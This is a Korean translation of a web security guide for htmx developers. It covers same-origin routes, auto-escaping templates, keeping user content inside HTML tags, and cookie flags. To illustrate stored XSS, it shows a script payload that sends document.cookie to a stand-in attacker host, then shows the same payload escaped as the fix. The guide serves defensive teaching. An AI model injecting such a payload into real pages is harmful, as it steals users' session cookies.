Web Security Basics (with htmx)

Alexander Petros

htmx๊ฐ€ ์ธ๊ธฐ๋ฅผ ์–ป์œผ๋ฉด์„œ ์„œ๋ฒ„์—์„œ ์ƒ์„ฑ๋œ HTML์„ ์ž‘์„ฑํ•ด ๋ณธ ์ ์ด ์—†๋Š” ์ปค๋ฎค๋‹ˆํ‹ฐ์—๋„ ๋„๋‹ฌํ•˜๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๋™์  HTML ํ…œํ”Œ๋ฆฟ์€ ์—ฌ์ „ํžˆ Rails, Django, Spring๊ณผ ๊ฐ™์€ ์ธ๊ธฐ ์žˆ๋Š” ์›น ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ํ‘œ์ค€ ๋ฐฉ์‹์ด์ง€๋งŒ, React์™€ Svelte ๊ฐ™์€ ๋‹จ์ผ ํŽ˜์ด์ง€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(SPA) ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ์‚ฌ์šฉํ•ด ์˜จ ์‚ฌ๋žŒ๋“ค์—๊ฒŒ๋Š” HTML์„ ์ง์ ‘ ์ž‘์„ฑํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์ด ์ผ๋ฐ˜์ ์ž…๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ ๊ฑฑ์ •ํ•˜์ง€ ๋งˆ์„ธ์š”! HTML ํ…œํ”Œ๋ฆฟ์œผ๋กœ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ž‘์„ฑํ•˜๋Š” ๊ฒƒ์€ ์•ฝ๊ฐ„ ๋‹ค๋ฅธ ๋ณด์•ˆ ๋ชจ๋ธ์„ ์š”๊ตฌํ•˜์ง€๋งŒ, JSX ๊ธฐ๋ฐ˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋ณดํ˜ธํ•˜๋Š” ๊ฒƒ๋ณด๋‹ค ์–ด๋ ต์ง€ ์•Š์œผ๋ฉฐ, ์–ด๋–ค ๋ฉด์—์„œ๋Š” ํ›จ์”ฌ ๋” ์‰ฝ์Šต๋‹ˆ๋‹ค.

#์ด ๊ฐ€์ด๋“œ์˜ ๋Œ€์ƒ์€ ๋ˆ„๊ตฌ์ธ๊ฐ€์š”?

์ด ๊ฐ€์ด๋“œ๋Š” htmx์—์„œ ์›น ๋ณด์•ˆ์˜ ๊ธฐ์ดˆ๋ฅผ ๋‹ค๋ฃน๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ๊ฐœ๋…๋“ค์€ htmx์—๋งŒ ๊ตญํ•œ๋˜์ง€ ์•Š๊ณ , ๋™์ ์ด๋ฉฐ ์‚ฌ์šฉ์ž ์ƒ์„ฑ ์ฝ˜ํ…์ธ ๋ฅผ ์›น์— ๋ฐฐํฌํ•  ๋•Œ ์ค‘์š”ํ•˜๊ฒŒ ๊ณ ๋ คํ•ด์•ผ ํ•˜๋Š” ๊ฐœ๋…๋“ค์ž…๋‹ˆ๋‹ค.

์ด ๊ฐ€์ด๋“œ๋ฅผ ์œ„ํ•ด, ์—ฌ๋Ÿฌ๋ถ„์€ ์›น์˜ ๊ธฐ๋ณธ ์˜๋ฏธ๋ฅผ ์ดํ•ดํ•˜๊ณ  ๋ฐฑ์—”๋“œ ์„œ๋ฒ„๋ฅผ ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์–ธ์–ด๋Š” ์ƒ๊ด€์—†์Šต๋‹ˆ๋‹ค). ์˜ˆ๋ฅผ ๋“ค์–ด, ์ƒํƒœ๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋Š” GET ๊ฒฝ๋กœ๋ฅผ ๋งŒ๋“ค์ง€ ์•Š์•„์•ผ ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ๊ณ  ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, ์ด ๊ฐ€์ด๋“œ๋Š” ๋‹ค๋ฅธ ์‚ฌ๋žŒ์˜ ์›น์‚ฌ์ดํŠธ๋ฅผ ํ˜ธ์ŠคํŒ…ํ•˜๋Š” ๊ฒƒ๊ณผ ๊ฐ™์€ ๋ณต์žกํ•œ ์ž‘์—…์„ ๋‹ค๋ฃจ์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ๊ทธ๋Ÿฐ ์ž‘์—…์„ ํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ์ด ๊ฐ€์ด๋“œ์—์„œ ๋‹ค๋ฃจ๋Š” ๋ณด์•ˆ ๊ฐœ๋…์„ ๋„˜์–ด์„œ๋Š” ๋‚ด์šฉ์„ ์ˆ™์ง€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ๊ฐ„์†Œํ™”๋œ ๊ฐ€์ •์„ ํ†ตํ•ด ๊ฐ€๋Šฅํ•œ ํ•œ ๋งŽ์€ ์‚ฌ๋žŒ๋“ค์—๊ฒŒ ํƒ€๊ฒŸํŒ…ํ•˜๊ณ , ๋ฐฉํ•ด๊ฐ€ ๋˜๋Š” ์ •๋ณด๋ฅผ ํฌํ•จํ•˜์ง€ ์•Š๋„๋ก ๋…ธ๋ ฅํ–ˆ์Šต๋‹ˆ๋‹ค. ๋‹น์—ฐํžˆ ๋ชจ๋“  ์ƒํ™ฉ์„ ํฌ๊ด„ํ•  ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค. ์–ด๋–ค ๋ณด์•ˆ ๊ฐ€์ด๋“œ๋„ ์™„๋ฒฝํžˆ ํฌ๊ด„์ ์ผ ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์‹ค์ˆ˜๊ฐ€ ์žˆ๊ฑฐ๋‚˜ ์–ธ๊ธ‰ํ•ด์•ผ ํ•  ๋ช…๋ฐฑํ•œ ์œ„ํ—˜ ์š”์†Œ๊ฐ€ ์žˆ๋‹ค๊ณ  ์ƒ๊ฐํ•˜์‹œ๋ฉด, ์—ฐ๋ฝํ•ด ์ฃผ์‹œ๋ฉด ์—…๋ฐ์ดํŠธํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

#ํ™ฉ๊ธˆ ๊ทœ์น™

๋‹ค์Œ ๋„ค ๊ฐ€์ง€ ๊ฐ„๋‹จํ•œ ๊ทœ์น™์„ ๋”ฐ๋ฅด๋ฉด ํด๋ผ์ด์–ธํŠธ ๋ณด์•ˆ ๋ชจ๋ฒ” ์‚ฌ๋ก€๋ฅผ ๋”ฐ๋ฅด๊ฒŒ ๋ฉ๋‹ˆ๋‹ค:

  1. ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ๋กœ๋งŒ ํ˜ธ์ถœํ•˜๊ธฐ
  2. ์ž๋™ ์ด์Šค์ผ€์ดํ”„(template engine)๋ฅผ ํ•ญ์ƒ ์‚ฌ์šฉํ•˜๊ธฐ
  3. ์‚ฌ์šฉ์ž ์ƒ์„ฑ ์ฝ˜ํ…์ธ ๋ฅผ HTML ํƒœ๊ทธ ๋‚ด์—์„œ๋งŒ ์ œ๊ณตํ•˜๊ธฐ
  4. ์ธ์ฆ ์ฟ ํ‚ค๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ Secure, HttpOnly, SameSite=Lax ์„ค์ •ํ•˜๊ธฐ

๋‹ค์Œ ์„น์…˜์—์„œ๋Š” ๊ฐ ๊ทœ์น™์ด ๋ฌด์—‡์„ ์˜๋ฏธํ•˜๋ฉฐ, ์–ด๋–ค ์ข…๋ฅ˜์˜ ๊ณต๊ฒฉ์„ ๋ฐฉ์–ดํ•˜๋Š”์ง€ ์„ค๋ช…ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. ๋Œ€๋ถ€๋ถ„์˜ htmx ์‚ฌ์šฉ์ž, ์ฆ‰ ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•˜๊ณ , ๋ฐ์ดํ„ฐ๋ฅผ ์กฐํšŒํ•˜๊ณ , ๊ทธ ๋ฐ์ดํ„ฐ๋ฅผ ์—…๋ฐ์ดํŠธํ•  ์ˆ˜ ์žˆ๋Š” ์›น์‚ฌ์ดํŠธ๋ฅผ ๊ตฌ์ถ•ํ•˜๋Š” ์‚ฌ์šฉ์ž๋Š” ์ด๋Ÿฌํ•œ ๊ทœ์น™์„ ์–ด๊ธธ ์ด์œ ๊ฐ€ ๊ฑฐ์˜ ์—†์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์ดํ›„์—๋Š” ์ผ๋ถ€ ๊ทœ์น™์„ ๊นจ๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด ์„ค๋ช…ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ œ์•ฝ ๋‚ด์—์„œ ์œ ์šฉํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋งŽ์ด ๊ตฌ์ถ•ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ๋” ๊ณ ๊ธ‰์Šค๋Ÿฌ์šด ๊ธฐ๋Šฅ์ด ํ•„์š”ํ•˜๋‹ค๋ฉด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ณด์•ˆ์„ ์œ ์ง€ํ•˜๋Š” ๊ฐœ๋…์  ๋ถ€๋‹ด์ด ์ฆ๊ฐ€ํ•  ๊ฒƒ์ด๋ผ๋Š” ์ ์„ ์ถฉ๋ถ„ํžˆ ์ธ์‹ํ•˜๊ณ  ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์—์„œ ์›น ๋ณด์•ˆ์— ๋Œ€ํ•ด ๋งŽ์€ ๊ฒƒ์„ ๋ฐฐ์šฐ๊ฒŒ ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

#๊ทœ์น™ ์ดํ•ดํ•˜๊ธฐ

#์ œ์–ดํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ๋กœ๋งŒ ํ˜ธ์ถœํ•˜๊ธฐ

์ด ๊ทœ์น™์€ ๊ฐ€์žฅ ๊ธฐ๋ณธ์ ์ด๊ณ  ๊ฐ€์žฅ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค: ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ๋กœ๋ฅผ htmx๋กœ ํ˜ธ์ถœํ•˜์ง€ ๋งˆ์„ธ์š”.

์‹ค์ œ๋กœ๋Š” ์ƒ๋Œ€ URL๋งŒ ์‚ฌ์šฉํ•ด์•ผ ํ•œ๋‹ค๋Š” ์˜๋ฏธ์ž…๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ๊ดœ์ฐฎ์€ ์˜ˆ์ž…๋‹ˆ๋‹ค:

<button hx-get="/events">Search events</button>

ํ•˜์ง€๋งŒ ๋‹ค์Œ์€ ์ž˜๋ชป๋œ ์˜ˆ์ž…๋‹ˆ๋‹ค:

<button hx-get="https://google.com/search?q=events">Search events</button>

๊ทธ ์ด์œ ๋Š” ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค: htmx๋Š” ํ•ด๋‹น ๊ฒฝ๋กœ์—์„œ ๋ฐ›์€ ์‘๋‹ต์„ ์‚ฌ์šฉ์ž์˜ ํŽ˜์ด์ง€์— ์ง์ ‘ ์‚ฝ์ž…ํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์‘๋‹ต์— ์•…์„ฑ <script>๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋‹ค๋ฉด, ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‚ฌ์šฉ์ž์˜ ๋ฐ์ดํ„ฐ๋ฅผ ํ›”์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฒฝ๋กœ๋ฅผ ์ œ์–ดํ•˜์ง€ ์•Š์œผ๋ฉด, ํ•ด๋‹น ๊ฒฝ๋กœ๋ฅผ ์ œ์–ดํ•˜๋Š” ์‚ฌ๋žŒ์ด ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ถ”๊ฐ€ํ•˜์ง€ ์•Š์œผ๋ฆฌ๋ผ๋Š” ๋ณด์žฅ์ด ์—†์Šต๋‹ˆ๋‹ค.

๋‹คํ–‰ํžˆ๋„ ์ด ๊ทœ์น™์€ ๋งค์šฐ ์‰ฝ๊ฒŒ ์ง€ํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•˜์ดํผ๋ฏธ๋””์–ด API(์ฆ‰, HTML)๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ ˆ์ด์•„์›ƒ์— ๊ตฌ์ฒด์ ์ด๋ฏ€๋กœ ๋‹ค๋ฅธ ์‚ฌ๋žŒ์˜ HTML์„ ํŽ˜์ด์ง€์— ์‚ฝ์ž…ํ•  ์ด์œ ๊ฐ€ ๊ฑฐ์˜ ์—†์Šต๋‹ˆ๋‹ค. ์ž์‹ ์ด ์ œ์–ดํ•˜๋Š” ๊ฒฝ๋กœ๋งŒ ํ˜ธ์ถœํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค(์‹ค์ œ๋กœ htmx 2 ๋ฒ„์ „์—์„œ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๋‹ค๋ฅธ ๋„๋ฉ”์ธ ํ˜ธ์ถœ์„ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค).

์ด์ „์—๋Š” ํ”„๋ก ํŠธ์—”๋“œ์™€ ๋ฐฑ์—”๋“œ๋ฅผ ๋ณ„๋„์˜ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ๋กœ ๋ถ„๋ฆฌํ•˜๊ณ  ๋•Œ๋กœ๋Š” ์„œ๋กœ ๋‹ค๋ฅธ URL์—์„œ ์ œ๊ณตํ•˜๋Š” SPA ํŒจํ„ด์ด ํ”ํ–ˆ์ง€๋งŒ, htmx(๊ทธ๋ฆฌ๊ณ  ๊ณต์ •ํ•˜๊ฒŒ ๋งํ•˜๋ฉด ํ˜„๋Œ€์˜ React์™€ NextJS์—์„œ๋„)๋Š” ์ด๊ฒƒ์„ ๋ฐ˜ํŒจํ„ด์œผ๋กœ ๊ฐ„์ฃผํ•ฉ๋‹ˆ๋‹ค.

๋Œ€์‹ , ํ”„๋ก ํŠธ์—”๋“œ HTML์„ ๋ฐฑ์—”๋“œ์™€ ๋™์ผํ•œ ์„œ๋ฒ„(๋˜๋Š” ์ตœ์†Œํ•œ ๋™์ผํ•œ ๋„๋ฉ”์ธ)์—์„œ ์ œ๊ณตํ•˜๋ฉด ๋ชจ๋“  ๊ฒƒ์ด ์‰ฝ๊ฒŒ ์ •๋ฆฌ๋ฉ๋‹ˆ๋‹ค: ์ƒ๋Œ€ URL์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๊ณ , CORS ๋ฌธ์ œ๋ฅผ ๊ฒช์ง€ ์•Š์œผ๋ฉฐ, ๋‹ค๋ฅธ ์‚ฌ๋žŒ์˜ ๋ฐฑ์—”๋“œ๋ฅผ ํ˜ธ์ถœํ•  ์ผ์ด ์—†์Šต๋‹ˆ๋‹ค.

htmx๋Š” HTML์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค; HTML์€ ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค; ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ”๋“œ๋ฅผ ์ ˆ๋Œ€ ์‹คํ–‰ํ•˜์ง€ ๋งˆ์„ธ์š”.

#์ž๋™ ์ด์Šค์ผ€์ดํ”„ ํ…œํ”Œ๋ฆฟ ์—”์ง„์„ ํ•ญ์ƒ ์‚ฌ์šฉํ•˜๊ธฐ

์‚ฌ์šฉ์ž์—๊ฒŒ HTML์„ ์ „์†กํ•  ๋•Œ๋Š” ๋ชจ๋“  ๋™์  ์ฝ˜ํ…์ธ ๋ฅผ ์ด์Šค์ผ€์ดํ”„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์‘๋‹ต์„ ๊ตฌ์„ฑํ•  ๋•Œ ํ…œํ”Œ๋ฆฟ ์—”์ง„์„ ์‚ฌ์šฉํ•˜๊ณ , ์ž๋™ ์ด์Šค์ผ€์ดํ”„๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

๋‹คํ–‰ํžˆ ๋ชจ๋“  ํ…œํ”Œ๋ฆฟ ์—”์ง„์€ HTML ์ด์Šค์ผ€์ดํ”„๋ฅผ ์ง€์›ํ•˜๋ฉฐ, ๋Œ€๋ถ€๋ถ„์€ ๊ธฐ๋ณธ์ ์œผ๋กœ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์•„๋ž˜๋Š” ๋ช‡ ๊ฐ€์ง€ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค.

์–ธ์–ดํ…œํ”Œ๋ฆฟ ์—”์ง„๊ธฐ๋ณธ์ ์œผ๋กœ HTML ์ด์Šค์ผ€์ดํ”„๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”๊ฐ€?
JavaScriptNunjucks์˜ˆ
JavaScriptEJS์˜ˆ, <%= %> ์‚ฌ์šฉ
PythonDTL์˜ˆ
PythonJinja๊ฒฝ์šฐ์— ๋”ฐ๋ผ ๋‹ค๋ฆ„ (Flask์—์„œ๋Š” ์˜ˆ)
RubyERB์˜ˆ, <%= %> ์‚ฌ์šฉ
PHPBlade์˜ˆ
Gohtml/template์˜ˆ
JavaThymeleaf์˜ˆ
RustTera์˜ˆ

์ด ๊ทœ์น™์ด ๋ฐฉ์ง€ํ•˜๋Š” ์ทจ์•ฝ์ ์€ ํ”ํžˆ ๊ต์ฐจ ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ…(XSS) ๊ณต๊ฒฉ์œผ๋กœ ๋ถˆ๋ฆฌ๋ฉฐ, ์ด๋Š” ๊ด‘๋ฒ”์œ„ํ•˜๊ฒŒ ์‚ฌ์šฉ๋˜๋Š” ์šฉ์–ด๋กœ, ์›นํŽ˜์ด์ง€์— ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ์ฝ˜ํ…์ธ ๋ฅผ ์ฃผ์ž…ํ•˜๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ๊ณต๊ฒฉ์ž๋Š” API๋ฅผ ์‚ฌ์šฉํ•ด ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ €์žฅํ•œ ํ›„, ๊ทธ ์ •๋ณด๋ฅผ ์š”์ฒญํ•˜๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋“ค์—๊ฒŒ ํ•ด๋‹น ์ฝ”๋“œ๋ฅผ ์ œ๊ณตํ•˜๋Š” ๋ฐฉ์‹์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ๋ฐ์ดํŠธ ์‚ฌ์ดํŠธ๋ฅผ ๊ตฌ์ถ• ์ค‘์ด๋ผ๊ณ  ๊ฐ€์ •ํ•˜๊ณ , ์‚ฌ์šฉ์ž๊ฐ€ ์ž์‹ ์˜ ์†Œ๊ฐœ๊ธ€์„ ๊ณต์œ ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ–ˆ๋‹ค๊ณ  ํ•ฉ์‹œ๋‹ค. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ €์žฅ๋œ ์†Œ๊ฐœ๊ธ€์€ {{ user.bio }}๋กœ ๋ Œ๋”๋ง๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค:

<p>
{{ user.bio }}
</p>

๋งŒ์•ฝ ์•…์˜์ ์ธ ์‚ฌ์šฉ์ž๊ฐ€ <script> ์š”์†Œ๋ฅผ ํฌํ•จํ•œ ์†Œ๊ฐœ๊ธ€์„ ์ž‘์„ฑํ–ˆ๋‹ค๋ฉด, ์ด HTML์€ ํ•ด๋‹น ์†Œ๊ฐœ๊ธ€์„ ๋ณด๋Š” ๋ชจ๋“  ์‚ฌ์šฉ์ž์—๊ฒŒ ์ „์†ก๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค:

<p>
<script>
  fetch('evilwebsite.com', { method: 'POST', body: document.cookie })
</script>
</p>

๋‹คํ–‰ํžˆ๋„ ์ด ๋ฌธ์ œ๋Š” ์•„์ฃผ ๊ฐ„๋‹จํžˆ ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ์ œ๊ณตํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฝ์ž…ํ•  ๋•Œ, ์—ฌ๋Ÿ ๊ฐœ์˜ ๋ฌธ์ž๋ฅผ ๊ทธ๋“ค์˜ ๋น„์ฝ”๋“œ ๋Œ€์ฒด ๋ฌธ์ž๋กœ ๋ฐ”๊ฟ”์ฃผ๊ธฐ๋งŒ ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ์€ JavaScript๋กœ ์ž‘์„ฑ๋œ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค:

/**
 * HTML ์ปจํ…์ŠคํŠธ์—์„œ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ž๋ฅผ ์น˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.
 */
export function escapeHtmlText(value) {
  const stringValue = value.toString()
  const entityMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;',
    '`': '&grave;',
    '=': '&#x3D;'
  }

  // /[ ... ]/ ๋‚ด๋ถ€์˜ ๋ชจ๋“  ๋ฌธ์ž์™€ ์ผ์น˜์‹œํ‚ต๋‹ˆ๋‹ค.
  const regex = /[&<>"'`=/]/g
  return stringValue.replace(regex, match => entityMap[match])
}

์ด ์ž‘์€ JS ํ•จ์ˆ˜๋Š” <์„ &lt;, "์„ &quot;๋กœ ๋ฐ”๊ฟ‰๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ฌธ์ž๋“ค์€ ํ…์ŠคํŠธ๋กœ ์‚ฌ์šฉํ•  ๋•Œ <์™€ "๋กœ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๋ Œ๋”๋ง๋˜์ง€๋งŒ, ์ฝ”๋“œ ๊ตฌ๋ฌธ์œผ๋กœ ํ•ด์„๋  ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค. ์ด์ „์˜ ์•…์„ฑ ์†Œ๊ฐœ๊ธ€์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ HTML๋กœ ๋ณ€ํ™˜๋ฉ๋‹ˆ๋‹ค:

<p>
&lt;script&gt;
  fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, data: document.cookie })
&lt;/script&gt;
</p>

์ด์ œ๋Š” ์•ˆ์ „ํ•˜๊ฒŒ ํ…์ŠคํŠธ๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.

๋‹คํ–‰ํžˆ๋„, ์•ž์„œ ์–ธ๊ธ‰ํ–ˆ๋“ฏ์ด ์ˆ˜๋™์œผ๋กœ ์ด์Šค์ผ€์ดํ”„ํ•  ํ•„์š”๋Š” ์—†์Šต๋‹ˆ๋‹ค. ์ด์Šค์ผ€์ดํ”„์˜ ๊ฐœ๋…์ด ์–ผ๋งˆ๋‚˜ ๊ฐ„๋‹จํ•œ์ง€๋ฅผ ๋ณด์—ฌ์ฃผ๊ธฐ ์œ„ํ•ด ์˜ˆ์‹œ๋ฅผ ๋“  ๊ฒƒ๋ฟ์ž…๋‹ˆ๋‹ค. ๋ชจ๋“  ํ…œํ”Œ๋ฆฟ ์—”์ง„์—๋Š” ์ž๋™ ์ด์Šค์ผ€์ดํ”„ ๊ธฐ๋Šฅ์ด ์žˆ์œผ๋ฉฐ, ์–ด์ฐจํ”ผ ํ…œํ”Œ๋ฆฟ ์—”์ง„์„ ์‚ฌ์šฉํ•˜๊ฒŒ ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด์Šค์ผ€์ดํ”„๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ , ๋ชจ๋“  HTML์„ ์ด๋ฅผ ํ†ตํ•ด ์ „์†กํ•˜์„ธ์š”.

#์‚ฌ์šฉ์ž ์ƒ์„ฑ ์ฝ˜ํ…์ธ ๋Š” HTML ํƒœ๊ทธ ์•ˆ์—๋งŒ ์ œ๊ณตํ•˜๊ธฐ

์ด ๊ทœ์น™์€ ํ…œํ”Œ๋ฆฟ ์—”์ง„ ๊ทœ์น™์˜ ์ถ”๊ฐ€ ์‚ฌํ•ญ์ด์ง€๋งŒ, ์ถฉ๋ถ„ํžˆ ์ค‘์š”ํ•œ ๋ถ€๋ถ„์ด๋ฏ€๋กœ ๋ณ„๋„๋กœ ์–ธ๊ธ‰ํ•˜๊ณ ์ž ํ•ฉ๋‹ˆ๋‹ค. ์ž๋™ ์ด์Šค์ผ€์ดํ”„ ํ…œํ”Œ๋ฆฟ ์—”์ง„์„ ์‚ฌ์šฉํ•˜๋”๋ผ๋„ ์‚ฌ์šฉ์ž๊ฐ€ ์ž„์˜๋กœ CSS๋‚˜ JS ์ฝ˜ํ…์ธ ๋ฅผ ์ •์˜ํ•˜์ง€ ์•Š๋„๋ก ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

<!-- script ํƒœ๊ทธ ์•ˆ์— ํฌํ•จํ•˜์ง€ ๋งˆ์„ธ์š” -->
<script>
  const userName = {{ user.name }}
</script>

<!-- CSS ํƒœ๊ทธ ์•ˆ์— ํฌํ•จํ•˜์ง€ ๋งˆ์„ธ์š” -->
<style>
  h1 { color: {{ user.favorite_color }} }
</style>

๋˜ํ•œ, ์‚ฌ์šฉ์ž ์ •์˜ ์†์„ฑ์ด๋‚˜ ํƒœ๊ทธ ์ด๋ฆ„๋„ ์‚ฌ์šฉํ•˜์ง€ ๋งˆ์„ธ์š”:

<!-- ์‚ฌ์šฉ์ž ์ •์˜ ํƒœ๊ทธ ์ด๋ฆ„ ํ—ˆ์šฉํ•˜์ง€ ์•Š๊ธฐ -->
<{{ user.tag }}></{{ user.tag }}>

<!-- ์‚ฌ์šฉ์ž ์ •์˜ ์†์„ฑ ํ—ˆ์šฉํ•˜์ง€ ์•Š๊ธฐ -->
<a {{ user.attribute }}></a>

<!-- ์‚ฌ์šฉ์ž ์ •์˜ ์†์„ฑ ๊ฐ’์€ ๊ฒฝ์šฐ์— ๋”ฐ๋ผ ๊ดœ์ฐฎ์„ ์ˆ˜ ์žˆ์Œ -->
<a class="{{ user.class }}"></a>

<!-- ์ด์Šค์ผ€์ดํ”„๋œ ์ฝ˜ํ…์ธ ๋Š” ํ•ญ์ƒ HTML ํƒœ๊ทธ ์•ˆ์—์„œ ์•ˆ์ „ํ•จ (์ด๊ฑด ๊ดœ์ฐฎ์Šต๋‹ˆ๋‹ค) -->
<a>{{ user.name }}</a>

CSS, JavaScript, ๊ทธ๋ฆฌ๊ณ  HTML ์†์„ฑ์€ โ€œ์œ„ํ—˜ํ•œ ์ปจํ…์ŠคํŠธโ€๋กœ, ์ด์Šค์ผ€์ดํ”„๋˜๋”๋ผ๋„ ์ž„์˜์˜ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ํ—ˆ์šฉํ•˜๋Š” ๊ฒƒ์ด ์•ˆ์ „ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด์Šค์ผ€์ดํ”„๋Š” ์—ฌ๊ธฐ์—์„œ ์ผ๋ถ€ ์ทจ์•ฝ์ ์„ ๋ฐฉ์–ดํ•ด ์ค„ ์ˆ˜ ์žˆ์ง€๋งŒ, ๋ชจ๋“  ๊ฒƒ์„ ๋ง‰์•„์ฃผ์ง€๋Š” ๋ชปํ•˜๋ฉฐ, ์ทจ์•ฝ์ ์ด ๋‹ค์–‘ํ•œ ๋งŒํผ ๊ธฐ๋ณธ์ ์œผ๋กœ๋Š” ์ด๋Ÿฌํ•œ ์ž‘์—…์„ ์ „ํ˜€ ํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์ด ๊ฐ€์žฅ ์•ˆ์ „ํ•ฉ๋‹ˆ๋‹ค.

